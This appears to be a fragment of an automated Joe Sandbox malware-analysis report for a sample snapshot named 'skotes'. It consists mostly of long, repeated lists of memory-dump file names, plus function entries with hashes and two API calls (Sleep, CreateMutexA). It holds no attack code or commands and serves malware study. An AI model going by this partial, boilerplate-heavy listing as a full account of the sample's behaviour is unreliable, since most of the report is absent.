Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: cd22cd9d55b9687e2b70e7dcab02469e2344a41683ef9a5e2fe857cc4dbe603a
Instruction ID: 1ab5f108a85571638858a57e76dc8f167a3699f3db9cea0c9334205cd3fb9d52
Opcode Fuzzy Hash: cd22cd9d55b9687e2b70e7dcab02469e2344a41683ef9a5e2fe857cc4dbe603a
Instruction Fuzzy Hash: E1312B71700108D7EB0C9B78EE8DFADB661EBC1318F28522CE024BB3D5C77689828652

Function 00ECA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9e5a959450a9779a60333ec91a03b36c389ddae3b663a5e1c63fdb19c32af91d
Instruction ID: 07263e4ca0e38ec1a5089ba74b51910ac7e660bbde674f2e92082f038ea62c34
Opcode Fuzzy Hash: 9e5a959450a9779a60333ec91a03b36c389ddae3b663a5e1c63fdb19c32af91d
Instruction Fuzzy Hash: A2312C71704108CBEB18DB78DE89FADB761DBC6318F28926CE414BB3D5C73689828712

Function 00ECA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: db3cef671ca6e1b0f7e8fc54a37581a1e097e561b64e9e4f1187579541929699
Instruction ID: 0ff77cb47396035b7ee74331372747ffa4e3ae1eb657174f91cd66621a32f80e
Opcode Fuzzy Hash: db3cef671ca6e1b0f7e8fc54a37581a1e097e561b64e9e4f1187579541929699
Instruction Fuzzy Hash: 3C312C71704108CBEB189B78DE89FADB7B1EBC2318F28526DE014F73D1C73689828652

Function 00EC9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 79353f62dff8ac2c176df5d25672e7e75b5950f7553b007ee4f57d64e5cd0e56
Instruction ID: c641072d933f37e51e29b85de0f3530851f5dcb7d16513394b1e4561455626ac
Opcode Fuzzy Hash: 79353f62dff8ac2c176df5d25672e7e75b5950f7553b007ee4f57d64e5cd0e56
Instruction Fuzzy Hash: 25212871704204DBEB189F68EE8DF6CB761EBC2314F24526DE418A72D5CB7699828611

Function 00ECA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
